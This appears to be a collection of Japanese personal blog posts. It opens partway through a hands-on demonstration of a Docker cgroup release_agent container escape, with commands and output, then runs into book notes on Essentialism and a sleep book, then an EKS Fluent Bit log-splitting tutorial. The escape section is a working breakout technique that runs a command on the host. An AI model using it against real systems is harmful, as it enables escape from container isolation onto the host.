-rw-r--r-- 1 root root 0 Mar 28 09:48 tasks
drwxr-xr-x 2 root root 0 Mar 28 09:48 x
root@9d03d13ac863:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 28 09:49 notify_on_release
-r--r--r-- 1 root root 0 Mar 28 09:49 rdma.current
-rw-r--r-- 1 root root 0 Mar 28 09:49 rdma.max
-rw-r--r-- 1 root root 0 Mar 28 09:49 tasks
root@9d03d13ac863:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@9d03d13ac863:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@9d03d13ac863:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@9d03d13ac863:/# 

release_agent を確認する。

root@9d03d13ac863:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/cmd
root@9d03d13ac863:/# 

cmd を作成する。

root@9d03d13ac863:/# echo '#!/bin/sh' > /cmd
root@9d03d13ac863:/# echo "ps aux > $host_path/output" >> /cmd
root@9d03d13ac863:/# chmod a+x /cmd
root@9d03d13ac863:/# 

cmd の内容を確認する。

root@9d03d13ac863:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/output
root@9d03d13ac863:/# 

これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props に書き込む。

root@9d03d13ac863:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@9d03d13ac863:/# 

ホスト側でコマンドを実行した出力が確認できた。

root@9d03d13ac863:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.4 225448  9092 ?        Ss   09:34   0:02 /sbin/init
root         2  0.0  0.0      0     0 ?        S    09:34   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   09:34   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   09:34   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   09:34   0:00 [kworker/0:0H-kb]
root         9  0.0  0.0      0     0 ?        I<   09:34   0:00 [mm_percpu_wq]
root        10  0.0  0.0      0     0 ?        S    09:34   0:00 [ksoftirqd/0]
root        11  0.0  0.0      0     0 ?        I    09:34   0:00 [rcu_sched]
root        12  0.0  0.0      0     0 ?        S    09:34   0:00 [migration/0]
root@9d03d13ac863:/# 

読書メモ: マンガでよくわかる エッセンシャル思考

Twitter でフォローしている人が、マンガではない方「エッセンシャル思考 最少の時間で成果を最大にする」を読んで実践されようとしていたのを見て興味を持ち、とっつきやすそうなマンガのほうを読んだ。

187 ページ、平均読書時間は 1 時間 1 分の本。自分の場合は 3 時間くらいかかった。

全体的な感想

ちょうど今年 1 年の業務目標を定義する時期だったので、どういった目標を立てるべきか考えながらよんだ。これまでよいと思っていたことと逆のことも書かれている。例えば、何か依頼やチャンスがあったときに自分がやりたいかを考えて 90 点のものだけを受け、それ以外は断るという「90 点ルール」があったが、これまではそういうのは積極的に受けてとりあえずやってみるべきと思っていた。全体的に書かれていることは表情によくわかり、取り入れて行きたいのだが、実践は難しそうと感じる部分が多かった。「捨てる」とか「断る」とかは簡単ではないのだが、それはつまり自分が「本質的な目標」を持っておらず、流されて生きているからだと思う。

3 つのポイントに要約

  • 全部やろうとすると、結局中途半端になる。本当に重要なことを見極め、他のことは捨てることが必要。
  • 本当に重要なことを見極めるためには、時間をかけて調査検討し、じっくりと考えることが必要。
  • 今に集中すること、そして本当に大切なことに集中することで、人生はよりよくなる。

気になった部分の引用

非エッセンシャル思考の人はあらゆる話に反応し、なんでもとりあえずやってみます。ですから多くのことに手を出しますが、すべて中途半端な結果しか得られません。それに対してエッセンシャル思考の人は、何かに手を出す前に、幅広い選択肢を慎重に検討します。そして「これだけは」ということだけを実行します。行動を起こす数は少ないのですが、やると決めたことについては最高の結果を出します。

なんでもとりあえずやってみることが大切と思っていたし、今でもそう思う。なのでここはどちらを採用するか迷うところ。

本当に重要なものごとを見極めるために必要なことは5つ。じっくりと考える余裕、情報を集める時間、遊び心、十分な睡眠、そして何を選ぶかという厳密な基準です。

ここに「十分な睡眠」が入っているのが、ちょうど睡眠の本を読んだ後なので、納得。

エッセンシャル思考の人は、なるべく時間をかけて調査・検討し、意見を交わし、じっくりと考えます。そうすることで初めて、本当に重要なものを見極めることが可能になるのです。

仮説思考の本では調査や情報収集に時間をかけるのではなく、まず仮説を立ててそれを検証してみるというやり方だったので、ここもどちらを採用するか迷うところ。

捨てるべきものを問うとき、自分の優先事項がはっきりと見えてきます。自分の本当の使命が明らかになり、個人だけでなく組織全体のために最高の仕事ができるようになります。仕事や人生の決定打となるブレイクスルーは、不要なものを切り捨てることから始まるのです。

ちょうど今年 1 年の業務目標を定義する時期なのだが、何でもかんでもたくさん目標を定義するのではなく、本当にやりたい目標を立てるべきだなと感じた。少なくとも自分の中では。また、どちらかと言うと自分の苦手分野を鍛えるような目標を立てようとしているが、自分の得意な領域を伸ばす、やりたいことをやる目標のほうが組織にとっても貢献が大きそうとも感じた。

「できる人は『ノー』と言う。『これは自分の仕事ではない』と言えるのだ」

エッセンシャル思考を実践するためには「見極める技術」「捨てる技術」「仕組み化する技術」が必要と書かれているが、中でも、「捨てる」あるいは「断る」ことができるかが最も大切と感じる。

ものごとを選ぶ際に迷わないコツは、基準をとことん厳しくすること。「絶対にイエスだと言いきれないなら、それはすなわちノーだ」と考えるのです。「絶対にやりたい!」か「やらない」かの二択にするのです。そのための基準として、マンガ本編で取り上げた「90点ルール」が有効です。

これはわかるけど、難しい。「この案件やりたい?」と聞かれたとき、「絶対にイエス」でなくても、60点くらいだったら「やりたいです」と答えていると思う。

シンプルで、具体的で、刺激的で、測定可能な目標を選ぶ

目標は SMART (Specific, Measurable, Achievable, Relevant, Time-bound) であるべきとよく言われるが、「刺激的か」というところも目標が本質的であるかどうかに密接に関連しており重要。

そもそも私たちには「今」しかなく、私たちの行動がなんらかの力を持つのは、今個々においてだけです。カイロスは、今この瞬間にしか存在しません。過去や未来のことを考えるのではなく、考えるべき、やるべきは「今」です。

これは「嫌われる勇気」でもそういうことが書かれていたと思う。今を一生懸命に生きる。断捨離もそういうことだなと思っており、実践している。

読書メモ: 睡眠こそ最強の解決策である

タイトルに引かれたか、何かの本におすすめの本として書かれていた忘れたけど、気になった本。

427 ページ、平均読書時間 6 時間 52 分の本。自分の場合は 8 日間、合計で約 17 時間くらいかかった。

全体的な感想

睡眠の大切さが非常によく理解できた。最近は朝早く起きて本を読むようにしていたが、この本を読んでいる途中から睡眠時間を優先して起床時間が遅くなり、読書する時間が確保しにくくなり、読むのに時間がかかったほど。8 時間を目標に、できるだけ寝る時間を確保していこうと思ったし、子どもも、健やかな成長のためにたくさん寝かせてあげようと思った。

3 つに要約

  • ノンレム睡眠は記憶を整理し、定着させる。レム睡眠メンタルヘルスを整えたり、貯蔵された記憶の関連付けを行い創造性を発揮する。どちらの睡眠も重要。
  • 眠くなるメカニズムは 2 つあり、1 つは「概日リズム」で体が覚えている毎日のリズム。もう 1 つは「アデノシン」で起きていると脳内にアデノシンがたまって睡眠圧が高まる。この 2 つの独立したメカニズムの組み合わせで眠くなる。
  • 人間の大人は 8 時間の睡眠が必要。

気になった部分の引用

もちろん、健康的な食生活と定期的な運動も大切だ。しかし最新の研究によって、どうやら、食事、運動、睡眠のうち、健康のためにもっとも大切なのは、睡眠であることがわかってきた。

正直、食事や運動以上に、睡眠が大事だとは思っていなかった。

カフェインの半減期は、平均して5時間から7時間になる。たとえば午後7時30分ごろに夕食後のコーヒーを1杯飲んだとすると、午前1時30分になってもまだ半分のカフェインが体内に残っていることになる。

ここではっきり指摘しておこう。カフェインは精神刺激性のドラッグだ。それに加えて、小さな子どもや10代の子どもでも簡単に摂取できる唯一のドラッグでもある。

自分はコーヒーが大好きであり、飲むのをやめようとは思わないが、午後は控えようと思った。

レム睡眠は脳の情動回路に絶妙な調整を加える。そう考えると、レム睡眠が原動力となり、原始的な感情が洗練されて、理性でコントロールできるようになった可能性が高い。私が思うに、ホモ・サピエンスがすべての種族の頂点に立つようになったのは、おそらくその変化が大きな要因になっているのだろう。

レム睡眠が長いのが人間の特徴であり、レム睡眠によって創造性を発揮できたことが、人間が進化の頂点にいる原動力である。

数ヵ月から数年にわたって慢性的に睡眠不足の人は、低下した自分の状態に慣れてしまう。反応が鈍く、ぼんやりしていて、エネルギーが低い状態が、自分の普通だと思ってしまうのだ。そのため、慢性的な睡眠不足のせいで自分の能力が下がり、少しずつ健康がむしばまれていることに気づかない。

睡眠不足で能力が低下している人は、自分自身ではそのことに気づけない。自分も、人の名前が覚えられないとか、物事を忘れやすいとか、記憶能力の低下を感じていて、それはスキーで脳震盪を何度も経験したので、パンチドランカーのような症状かもしれないと思っているのだが、もしかしたら睡眠不足も理由なのかも知れないと思った。

朝7時に目を覚まし、そのまま夜遅くまでずっと起きていると、たとえアルコールは一滴も飲んでいなくても、午前2時に車を運転して帰宅するころは、飲酒運転と同じような状態になっているということだ。

飲酒運転はやらないが、寝不足での運転はしょっちゅうやっていた。眠気と闘いながらスキー場への往復をやっていたが、飲酒運転と同じように危険と言われると、もうやめようという気になる。

寝不足の状態が1週間続いた後で、回復のための長時間睡眠を3日続けても(つまり、週末の寝だめよりも長い)、脳の働きは通常のレベルまで回復しない。そして最後に、寝不足の状態にある人は、自分がどれほど寝不足かわかっていない。能力の低下を自覚できない。

寝だめのようなことをやっていた。仕事でよいパフォーマンスが出せないのも、睡眠不足のせいかもしれない。もちろんそれだけではないと思うが、要素としてはあるかもしれない。

つまり、何かを新しく学習したその日の夜に眠らないと、記憶を刻みつけるチャンスを失ってしまうということだ。その後でどんなにたくさん寝ても、最初の睡眠をとり戻すことはできない。

学習には睡眠が必要。勉強してもすぐ忘れるというのも自分の課題なので、睡眠を大切にしていきたい。

7時間から8時間の十分な睡眠をとらずにいると、食欲増加と代謝の低下というダブルパンチで、あなたの体重はどんどん増えていく。そしていずれは、肥満やⅡ型糖尿病に発展するだろう。

ここでのいいニュースは、睡眠を十分にとれば体重もコントロールできるということだ。私たちの研究により、一晩ぐっすり眠るだけで、衝動を司る原始の脳と、理性を司る新しい脳の間のコミュニケーションが回復し、食欲が正常になることがわかっている。十分な睡眠は脳内の衝動コントロールを回復させ、異常な食欲にブレーキをかけることができるのだ。

ちょうど今ダイエットにも取り組んでいるので、やはり睡眠は大切にしていきたい。

カートライトの調査によって、レム睡眠で夢を見るだけでは、トラウマを癒やすことはできないとわかった。つらい経験にともなうネガティブな感情を消したいのなら、それと同じ感情を喚起する夢を見なければならない。

昔うつになりかかったことがあり、そのときもとにかく寝るべしという本「快眠がうつを防ぐ 自分で治すうつ (眠れるCD付)」を読み、寝たら確かによくなった経験があるので、寝ることが精神の安定に大切なのはなんとなくわかっていたが、見る夢の内容も重要。レム睡眠によって筋肉が弛緩し、出来事と感情が切り離された状態でつらい経験を再び夢に見ることで、つらいい経験が癒やされる。

新しく学んだことを脳に定着させるのがノンレム睡眠の役割だとしたら、レム睡眠と夢の役割は、ある特定の状況で学んだことを、他の状況でも応用するための方法を見つけることだ。

レム睡眠すごい。そしてこのすごいレム睡眠は明け方に多くなるのに、そこを目覚ましで起こしてしまうのは致命的と作者は繰り返し書いている。そう言えば最近あまり夢を見ていないような気もする。

アメリカでは、始業時間を前倒しにする流れに逆行し、むしろ始業時間を遅らせる学校がだんだんと増えてきている。生物学的に理にかなった時間に戻しているのだ。早い段階で方向転換に踏み切った例として、ミネソタ州イーダイナがあげられる。かつては7時25分だった始業時間を、8時30分に遅らせたのだ。その結果、生徒たちの学業成績に劇的な変化が起こった。具体的には、SATと呼ばれる標準テストの成績だ。

始業時間が 7 時 25 分だったというのもすごいが、始業時間を遅くすると成績がよくなるというのもすごい。こんな簡単なことならぜひやったらいいと思うのに、この本にも書かれているが、はやく子どもを学校に行かせて自分も仕事に行きたい親の都合のためにそれができないというのは残念。

Fluent Bit のチュートリアルをやってみる

以下のブログに従って、Fluent Bit によるログの分割を試す。

EKS で試すことにする。

コンポーネント バージョン 備考
eksctl 0.86.0
Kubernetes バージョン 1.21
プラットフォームのバージョン eks.4
AWS for Fluent Bit 2.23.0
Fluent Bit 1.8.13

クラスターの作成

1.21 のクラスターをノードなしで作成する。

CLUSTER_NAME="fluent-tutorial"
cat << EOF > cluster.yaml
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig

metadata:
  name: ${CLUSTER_NAME}
  region: ap-northeast-1
  version: "1.21"
vpc:
  cidr: "10.0.0.0/16"

availabilityZones:
  - ap-northeast-1a
  - ap-northeast-1c

cloudWatch:
  clusterLogging:
    enableTypes: ["*"]

iam:
  withOIDC: true
EOF
eksctl create cluster -f cluster.yaml

ノードを作成する。

cat << EOF > managed-ng-1.yaml
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig

metadata:
  name: ${CLUSTER_NAME}
  region: ap-northeast-1

managedNodeGroups:
  - name: managed-ng-1
    minSize: 1
    maxSize: 2
    desiredCapacity: 1
    privateNetworking: true
    iam:
      attachPolicyARNs:
        - arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy
        - arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly
        - arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
EOF
eksctl create nodegroup -f managed-ng-1.yaml

Admin ロールにも権限をつけておく。

USER_NAME="Admin:{{SessionName}}"
AWS_ACCOUNT_ID=$(aws sts get-caller-identity --output text --query Account)
ROLE_ARN="arn:aws:iam::${AWS_ACCOUNT_ID}:role/Admin"
eksctl create iamidentitymapping --cluster ${CLUSTER_NAME} --arn ${ROLE_ARN} --username ${USER_NAME} --group system:masters

サンプルアプリのデプロイ

リポジトリをクローンする。

git clone https://github.com/aws-samples/amazon-ecs-firelens-examples.git
cd amazon-ecs-firelens-examples/examples/splitting-log-streams/app

サンプルアプリのログの量が多いので、Sleep 時間を 100 ms から 1000 ms に変える。

       time.Sleep(1000 * time.Millisecond)

サンプルアプリのイメージをビルドして ECR に置く。

repository_name="fluent-tutorial-sample-app"
AWS_ACCOUNT_ID=$(aws sts get-caller-identity --output text --query Account)
AWS_REGION=$(aws configure get region)
aws ecr get-login-password | docker login --username AWS --password-stdin https://${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com
aws ecr create-repository --repository-name ${repository_name}
docker build -t ${repository_name} .
docker tag ${repository_name} ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/${repository_name}
docker push ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/${repository_name}

アプリをローカルで実行して動作を確認する。

$ docker run --rm -it fluent-tutorial-sample-app
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:25:01Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:01Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:01Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:25:02Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:02Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:02Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:25:03Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:03Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:03Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:25:04Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:04Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:04Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:25:05Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:05Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:25:05Z","user":"TheDoctor"}

アプリを EKS にデプロイする。

$ k create deployment app --image=${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/${repository_name}
deployment.apps/app created
$ k get po
NAME                  READY   STATUS    RESTARTS   AGE
app-f9bfb5fc9-hq24n   1/1     Running   0          36s
$ k logs --tail 10 app-f9bfb5fc9-hq24n
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:14Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:31:15Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:15Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:15Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:31:16Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:16Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:16Z","user":"TheDoctor"}
{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:31:17Z"}
{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:17Z","user":"TheMaster"}
{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:31:17Z","user":"TheDoctor"}

Fluent Bit のデプロイ

Fluent Bit の公式ドキュメントを参考にデプロイする。

ロールを作成する。ここで適用しているマニフェストここにある。

$ kubectl create namespace logging
namespace/logging created
$ kubectl create -f https://raw.githubusercontent.com/fluent/fluent-bit-kubernetes-logging/master/fluent-bit-service-account.yaml
serviceaccount/fluent-bit created
$ kubectl create -f https://raw.githubusercontent.com/fluent/fluent-bit-kubernetes-logging/master/fluent-bit-role.yaml
Warning: rbac.authorization.k8s.io/v1beta1 ClusterRole is deprecated in v1.17+, unavailable in v1.22+; use rbac.authorization.k8s.io/v1 ClusterRole
clusterrole.rbac.authorization.k8s.io/fluent-bit-read created
$ kubectl create -f https://raw.githubusercontent.com/fluent/fluent-bit-kubernetes-logging/master/fluent-bit-role-binding.yaml
Warning: rbac.authorization.k8s.io/v1beta1 ClusterRoleBinding is deprecated in v1.17+, unavailable in v1.22+; use rbac.authorization.k8s.io/v1 ClusterRoleBinding
clusterrolebinding.rbac.authorization.k8s.io/fluent-bit-read created

IRSA で fluent-bit の ServiceAccount にポリシーをアタッチする。

eksctl create iamserviceaccount \
    --name fluent-bit \
    --namespace logging \
    --cluster ${CLUSTER_NAME} \
    --attach-policy-arn arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy \
    --override-existing-serviceaccounts \
    --approve

DaemonSet をデプロイする。Elasticsearch 向けのマニフェストを参考にカスタマイズする。イメージも AWS for Fluent Bit に変える。必要な ConfigMap がないがこの後作る。

cat << EOF > fluent-bit-ds.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: fluent-bit
  namespace: logging
  labels:
    k8s-app: fluent-bit-logging
    version: v1
    kubernetes.io/cluster-service: "true"
spec:
  selector:
    matchLabels:
      k8s-app: fluent-bit-logging
  template:
    metadata:
      labels:
        k8s-app: fluent-bit-logging
        version: v1
        kubernetes.io/cluster-service: "true"
    spec:
      containers:
      - name: fluent-bit
        image: public.ecr.aws/aws-observability/aws-for-fluent-bit:latest
        imagePullPolicy: Always
        volumeMounts:
        - name: varlog
          mountPath: /var/log
        - name: varlibdockercontainers
          mountPath: /var/lib/docker/containers
          readOnly: true
        - name: fluent-bit-config
          mountPath: /fluent-bit/etc/
      terminationGracePeriodSeconds: 10
      volumes:
      - name: varlog
        hostPath:
          path: /var/log
      - name: varlibdockercontainers
        hostPath:
          path: /var/lib/docker/containers
      - name: fluent-bit-config
        configMap:
          name: fluent-bit-config
      serviceAccountName: fluent-bit
EOF
$ k apply -f fluent-bit-ds.yaml
daemonset.apps/fluent-bit created

ConfigMap を作成する。公式ドキュメントの宛先が Elasticsearch のサンプル今回のブログ記事の設定サンプルを参考にする。

cat << EOF > fluent-bit-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluent-bit-config
  namespace: logging
  labels:
    k8s-app: fluent-bit
data:
  fluent-bit.conf: |
    [SERVICE]
        Parsers_File  parser.conf

    [INPUT]
        Name              tail
        Tag               kube.*
        Path              /var/log/containers/app*.log
        Parser            docker
        DB                /var/log/flb_kube.db
        Mem_Buf_Limit     5MB
        Skip_Long_Lines   On
        Refresh_Interval  10

    [OUTPUT]
        Name   stdout
        Match  *

  parser.conf: |
    [PARSER]
        Name         docker
        Format       json
        Time_Key     time
        Time_Format  %Y-%m-%dT%H:%M:%S.%L
        Time_Keep    On
EOF
  • /var/log/containers 以下のログは以下のような命名規則となる。
    • <コンテナ名>-<コンテナ ID>.log
  • 分かり易くするため、取得するログを今回のサンプルアプリのログに絞る。
  • インプットの Tail プラグインにはタグ拡張という機能があり、Tag に * を含めると絶対パスで置き換えられる。
    • その際、 /. に置き換えられるため、タグは例えば以下のようになる。
    • app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log
    • kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log
  • 理解のためにまずは stdout に出す。
$ k apply -f fluent-bit-configmap.yaml 
configmap/fluent-bit-config created

Pod を削除して再起動する。

k -n logging delete po --all

Pod を確認する。

$ k -n logging get po
NAME               READY   STATUS    RESTARTS   AGE
fluent-bit-sfrr8   1/1     Running   0          12s

ログを確認する。デフォルトの JSON ではない形式で標準出力に出した時の 2 番目の項目がタグと思われる。

$ k -n logging logs --tail 10 fluent-bit-czzqr
[10] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973521.003913853, {"log"=>"{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:38:41Z","user":"TheMaster"}
", "stream"=>"stderr", "time"=>"2022-03-11T04:38:41.003913853Z"}]
[11] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973521.003989795, {"log"=>"{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:38:41Z","user":"TheDoctor"}
", "stream"=>"stderr", "time"=>"2022-03-11T04:38:41.003989795Z"}]
[12] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973522.003846128, {"log"=>"{"level":"info","msg":"Got a request","path":"/","requestID":"45234523","time":"2022-03-11T04:38:42Z"}
", "stream"=>"stderr", "time"=>"2022-03-11T04:38:42.003846128Z"}]
[13] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973522.003880772, {"log"=>"{"level":"warning","msg":"Access denied","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:38:42Z","user":"TheMaster"}
", "stream"=>"stderr", "time"=>"2022-03-11T04:38:42.003880772Z"}]
[14] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973522.003886896, {"log"=>"{"level":"debug","msg":"Admin access","path":"/tardis","requestID":"546745643","time":"2022-03-11T04:38:42Z","user":"TheDoctor"}
", "stream"=>"stderr", "time"=>"2022-03-11T04:38:42.003886896Z"}]

json を展開するためのパーサーを追加する。

cat << EOF > fluent-bit-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluent-bit-config
  namespace: logging
  labels:
    k8s-app: fluent-bit
data:
  fluent-bit.conf: |
    [SERVICE]
        Parsers_File  parser.conf

    [INPUT]
        Name              tail
        Tag               kube.*
        Path              /var/log/containers/app*.log
        Parser            docker
        DB                /var/log/flb_kube.db
        Mem_Buf_Limit     5MB
        Skip_Long_Lines   On
        Refresh_Interval  10

    [FILTER]
        Name          parser
        Match         *
        Key_Name      log
        Parser        json
        Reserve_Data  True

    [OUTPUT]
        Name   stdout
        Match  *

  parser.conf: |
    [PARSER]
        Name         docker
        Format       json
        Time_Key     time
        Time_Format  %Y-%m-%dT%H:%M:%S.%L
        Time_Keep    On

    [PARSER]
        Name    json
        Format  json
EOF
k apply -f fluent-bit-configmap.yaml

Pod を削除して再起動する。

k -n logging delete po --all

Pod を確認する。

$ k -n logging get po
NAME               READY   STATUS    RESTARTS   AGE
fluent-bit-rndfn   1/1     Running   0          16s

ログを確認する。展開できている。

$ k -n logging logs --tail 10 fluent-bit-rndfn
[5] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973664.038677292, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:04Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T04:41:04.038677292Z"}]
[6] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973665.039015055, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T04:41:05Z", "stream"=>"stderr", "time"=>"2022-03-11T04:41:05.039015055Z"}]
[7] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973665.039047556, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:05Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T04:41:05.039047556Z"}]
[8] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973665.039054043, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:05Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T04:41:05.039054043Z"}]
[9] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973666.039108181, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T04:41:06Z", "stream"=>"stderr", "time"=>"2022-03-11T04:41:06.039108181Z"}]
[10] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973666.039151357, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:06Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T04:41:06.039151357Z"}]
[11] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973666.039158422, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:06Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T04:41:06.039158422Z"}]
[12] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973667.039251204, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T04:41:07Z", "stream"=>"stderr", "time"=>"2022-03-11T04:41:07.039251204Z"}]
